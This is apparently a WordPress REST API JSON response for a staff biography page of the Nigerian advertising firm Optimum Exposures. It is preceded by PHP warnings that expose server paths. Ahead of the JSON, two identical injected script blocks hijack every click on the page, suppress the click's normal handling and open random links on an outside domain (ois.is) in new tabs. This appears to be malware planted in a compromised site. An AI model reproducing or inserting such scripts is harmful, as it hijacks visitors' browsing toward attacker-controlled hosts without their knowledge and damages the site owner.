<br />
<b>Warning</b>:  The magic method BrunnCore\CPT\PostTypesRegister::__wakeup() must have public visibility in <b>/home/optimumexposures/public_html/staging/wp-content/plugins/brunn-core/post-types/post-types-register.php</b> on line <b>30</b><br />
<br />
<b>Warning</b>:  The magic method BrunnInstagramApi::__wakeup() must have public visibility in <b>/home/optimumexposures/public_html/staging/wp-content/plugins/brunn-instagram-feed/lib/brunn-instagram-api.php</b> on line <b>71</b><br />
<br />
<b>Warning</b>:  The magic method BrunnTwitterApi::__wakeup() must have public visibility in <b>/home/optimumexposures/public_html/staging/wp-content/plugins/brunn-twitter-feed/lib/brunn-twitter-api.php</b> on line <b>95</b><br />
<br />
<b>Warning</b>:  The magic method Vc_Manager::__wakeup() must have public visibility in <b>/home/optimumexposures/public_html/staging/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php</b> on line <b>203</b><br />
<br />
<b>Warning</b>:  The magic method BrunnSelectNamespace\Modules\Header\Lib\HeaderFactory::__wakeup() must have public visibility in <b>/home/optimumexposures/public_html/staging/wp-content/themes/optimum-exposures/framework/modules/header/lib/header-factory.php</b> on line <b>39</b><br />
<br />
<b>Warning</b>:  The magic method BrunnCore\Lib\ShortcodeLoader::__wakeup() must have public visibility in <b>/home/optimumexposures/public_html/staging/wp-content/plugins/brunn-core/lib/shortcode-loader.php</b> on line <b>28</b><br />
<br />
<b>Warning</b>:  The magic method BrunnInstagram\Lib\ShortcodeLoader::__wakeup() must have public visibility in <b>/home/optimumexposures/public_html/staging/wp-content/plugins/brunn-instagram-feed/lib/shortcode-loader.php</b> on line <b>28</b><br />
<br />
<b>Warning</b>:  The magic method BrunnTwitter\Lib\ShortcodeLoader::__wakeup() must have public visibility in <b>/home/optimumexposures/public_html/staging/wp-content/plugins/brunn-twitter-feed/lib/shortcode-loader.php</b> on line <b>28</b><br />
<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script><script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":5915,"date":"2020-12-21T18:27:46","date_gmt":"2020-12-21T18:27:46","guid":{"rendered":"https:\/\/staging.optimumexposures.com\/?page_id=5915"},"modified":"2020-12-21T18:27:46","modified_gmt":"2020-12-21T18:27:46","slug":"chinyere-nwaonye","status":"publish","type":"page","link":"https:\/\/staging.optimumexposures.com\/?page_id=5915","title":{"rendered":"Chinyere Nwaonye"},"content":{"rendered":"<p>[vc_row disable_background_image=&#8221;&#8221; simple_background_image=&#8221;3574&#8243; background_image_position=&#8221;center bottom&#8221;][vc_column][vc_row_inner row_content_width=&#8221;grid&#8221; css=&#8221;.vc_custom_1608130018334{padding-top: 100px !important;padding-bottom: 100px !important;}&#8221;][vc_column_inner width=&#8221;1\/6&#8243;][\/vc_column_inner][vc_column_inner width=&#8221;2\/3&#8243;][vc_column_text]Chinyere Nwaonye is the Chief Technical Officer of Optimum Exposures and is responsible for ensuring efficiency and effective running of all the company\u2019s Out-of-Home advertising platforms across Nigeria. She holds a BSc. in Electrical &amp; Electronics Engineering from Nnamdi Azikiwe University, MSc. in Communication Engineering from University of Lagos and MBA from Metropolitan School of Business &amp; Management, United Kingdom.<\/p>\n<p>Also, she is certified by the Council for the Regulation of Engineering in Nigeria (COREN), holds a certificate in project management &amp; GSM engineering from the Project Management College, UK and the UK Telecommunications Academy. Her quest for knowledge and desire to continually contribute to the advancement of the objectives of Optimum exposures resulted to her further Research MBA study at Business School Netherlands.<\/p>\n<p>Chinyere is a self-motivated Engineer who is experienced in Operations and Project Management. She has managed several projects in the Mobile Telecommunications industry and worked with Subweld Engineering, Raeanna Nigeria and Procomtel as CTO and Project Manager, respectively; prior to joining Optimum Exposures.[\/vc_column_text][\/vc_column_inner][vc_column_inner width=&#8221;1\/6&#8243;][\/vc_column_inner][\/vc_row_inner][\/vc_column][\/vc_row]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>[vc_row disable_background_image=&#8221;&#8221; simple_background_image=&#8221;3574&#8243; background_image_position=&#8221;center bottom&#8221;][vc_column][vc_row_inner row_content_width=&#8221;grid&#8221; css=&#8221;.vc_custom_1608130018334{padding-top: 100px !important;padding-bottom: 100px !important;}&#8221;][vc_column_inner width=&#8221;1\/6&#8243;][\/vc_column_inner][vc_column_inner width=&#8221;2\/3&#8243;][vc_column_text]Chinyere Nwaonye is the Chief Technical Officer of [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":1928,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"full-width.php","meta":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v18.2 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Chinyere Nwaonye - Optimum Exposures<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/staging.optimumexposures.com\/?page_id=5915\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Chinyere Nwaonye - Optimum Exposures\" \/>\n<meta property=\"og:description\" content=\"[vc_row disable_background_image=&#8221;&#8221; simple_background_image=&#8221;3574&#8243; background_image_position=&#8221;center bottom&#8221;][vc_column][vc_row_inner row_content_width=&#8221;grid&#8221; css=&#8221;.vc_custom_1608130018334{padding-top: 100px !important;padding-bottom: 100px !important;}&#8221;][vc_column_inner width=&#8221;1\/6&#8243;][\/vc_column_inner][vc_column_inner width=&#8221;2\/3&#8243;][vc_column_text]Chinyere Nwaonye is the Chief Technical Officer of [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/staging.optimumexposures.com\/?page_id=5915\" \/>\n<meta property=\"og:site_name\" content=\"Optimum Exposures\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data1\" content=\"1 minute\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebSite\",\"@id\":\"https:\/\/staging.optimumexposures.com\/#website\",\"url\":\"https:\/\/staging.optimumexposures.com\/\",\"name\":\"Optimum Exposures\",\"description\":\"\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/staging.optimumexposures.com\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/staging.optimumexposures.com\/?page_id=5915#webpage\",\"url\":\"https:\/\/staging.optimumexposures.com\/?page_id=5915\",\"name\":\"Chinyere Nwaonye - Optimum Exposures\",\"isPartOf\":{\"@id\":\"https:\/\/staging.optimumexposures.com\/#website\"},\"datePublished\":\"2020-12-21T18:27:46+00:00\",\"dateModified\":\"2020-12-21T18:27:46+00:00\",\"breadcrumb\":{\"@id\":\"https:\/\/staging.optimumexposures.com\/?page_id=5915#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/staging.optimumexposures.com\/?page_id=5915\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/staging.optimumexposures.com\/?page_id=5915#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/staging.optimumexposures.com\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"About Us\",\"item\":\"https:\/\/staging.optimumexposures.com\/?page_id=1739\"},{\"@type\":\"ListItem\",\"position\":3,\"name\":\"Corporate Governance\",\"item\":\"https:\/\/staging.optimumexposures.com\/?page_id=1928\"},{\"@type\":\"ListItem\",\"position\":4,\"name\":\"Chinyere Nwaonye\"}]}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Chinyere Nwaonye - Optimum Exposures","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/staging.optimumexposures.com\/?page_id=5915","og_locale":"en_US","og_type":"article","og_title":"Chinyere Nwaonye - Optimum Exposures","og_description":"[vc_row disable_background_image=&#8221;&#8221; simple_background_image=&#8221;3574&#8243; background_image_position=&#8221;center bottom&#8221;][vc_column][vc_row_inner row_content_width=&#8221;grid&#8221; css=&#8221;.vc_custom_1608130018334{padding-top: 100px !important;padding-bottom: 100px !important;}&#8221;][vc_column_inner width=&#8221;1\/6&#8243;][\/vc_column_inner][vc_column_inner width=&#8221;2\/3&#8243;][vc_column_text]Chinyere Nwaonye is the Chief Technical Officer of [&hellip;]","og_url":"https:\/\/staging.optimumexposures.com\/?page_id=5915","og_site_name":"Optimum Exposures","twitter_card":"summary_large_image","twitter_misc":{"Est. reading time":"1 minute"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebSite","@id":"https:\/\/staging.optimumexposures.com\/#website","url":"https:\/\/staging.optimumexposures.com\/","name":"Optimum Exposures","description":"","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/staging.optimumexposures.com\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/staging.optimumexposures.com\/?page_id=5915#webpage","url":"https:\/\/staging.optimumexposures.com\/?page_id=5915","name":"Chinyere Nwaonye - Optimum Exposures","isPartOf":{"@id":"https:\/\/staging.optimumexposures.com\/#website"},"datePublished":"2020-12-21T18:27:46+00:00","dateModified":"2020-12-21T18:27:46+00:00","breadcrumb":{"@id":"https:\/\/staging.optimumexposures.com\/?page_id=5915#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/staging.optimumexposures.com\/?page_id=5915"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/staging.optimumexposures.com\/?page_id=5915#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/staging.optimumexposures.com\/"},{"@type":"ListItem","position":2,"name":"About Us","item":"https:\/\/staging.optimumexposures.com\/?page_id=1739"},{"@type":"ListItem","position":3,"name":"Corporate Governance","item":"https:\/\/staging.optimumexposures.com\/?page_id=1928"},{"@type":"ListItem","position":4,"name":"Chinyere Nwaonye"}]}]}},"_links":{"self":[{"href":"https:\/\/staging.optimumexposures.com\/index.php?rest_route=\/wp\/v2\/pages\/5915"}],"collection":[{"href":"https:\/\/staging.optimumexposures.com\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/staging.optimumexposures.com\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/staging.optimumexposures.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/staging.optimumexposures.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=5915"}],"version-history":[{"count":1,"href":"https:\/\/staging.optimumexposures.com\/index.php?rest_route=\/wp\/v2\/pages\/5915\/revisions"}],"predecessor-version":[{"id":5919,"href":"https:\/\/staging.optimumexposures.com\/index.php?rest_route=\/wp\/v2\/pages\/5915\/revisions\/5919"}],"up":[{"embeddable":true,"href":"https:\/\/staging.optimumexposures.com\/index.php?rest_route=\/wp\/v2\/pages\/1928"}],"wp:attachment":[{"href":"https:\/\/staging.optimumexposures.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=5915"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}